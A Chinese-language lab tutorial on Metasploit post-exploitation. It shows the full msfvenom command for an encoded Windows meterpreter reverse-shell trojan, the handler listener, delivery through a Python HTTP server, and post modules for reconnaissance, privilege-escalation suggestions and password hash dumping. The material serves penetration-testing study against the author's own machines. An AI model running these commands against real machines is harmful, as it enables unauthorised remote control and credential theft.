后渗透学习之Metasploit的post模块使用信息收集

环境

Kali和win7是nat连接 Kali：192.168.10.145 Win7：192.168.10.143
如果Msf拿shell后出现乱码，输入chcp 65001即可

MSF的post模块

进入msf5 > search post，搜索post模块，发现有471个模块可使用，我挑一部分出来翻译大概看看是用来干嘛的

• Linux：
  
• Window：
  

首先得拿一个cmd的shell，步骤如下：

Msf制作木马

`msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.145 LPORT=1234 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe`

在root目录下生成msf.exe文件

然后msf使用exploit/multi/handler模块设置监听

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 192.168.10.145
lhost => 192.168.10.145                                                               
msf5 exploit(multi/handler) > set lport 1234                                          
lport => 1234

然后执行脚本

kali另开命令框开启http服务

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

在win7上下载exe文件

然后执行运行，kali这边就会得到一个shell

当然了，我这边win7设置的是超级管理员的账号，所以直接就是最高权限了。

后渗透信息收集：

获取目标机器的分区情况：

meterpreter > run post/windows/gather/forensics/enum_drives

判断目标机是否为虚拟机：

`meterpreter > run post/windows/gather/checkvm`

查看目标机开启哪些服务

meterpreter > run post/windows/gather/enum_services

查看目标机安装了哪些应用、补丁

meterpreter > run post/windows/gather/enum_applications

查看目标机最近的操作

meterpreter > run post/windows/gather/dumplinks

post的提权模块

如果是获取shell后权限是比较低的，post模块中有一个检测目标系统补丁然后会给出相应exp提权的功能

post/multi/recon/local_exploit_suggester

当然还有很多好玩的，比如说屏幕监控 run vnc，hashdump查询密码等等操作

总结

• Msf制作木马

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.145 LPORT=1234 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe

• 然后msf使用exploit/multi/handler模块设置监听

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

• 获取目标机器的分区情况：

meterpreter > run post/windows/gather/forensics/enum_drives

• 判断目标机是否为虚拟机：

  meterpreter > run post/windows/gather/checkvm

• 查看目标机开启哪些服务

 meterpreter > run post/windows/gather/enum_services

• 查看目标机安装了哪些应用、补丁

meterpreter > run post/windows/gather/enum_applications

• 查看目标机最近的操作

meterpreter > run post/windows/gather/dumplinks`

• 如果是获取shell后权限是比较低的，post模块中有一个检测目标系统补丁然后会给出相应exp提权的功能

  post/multi/recon/local_exploit_suggester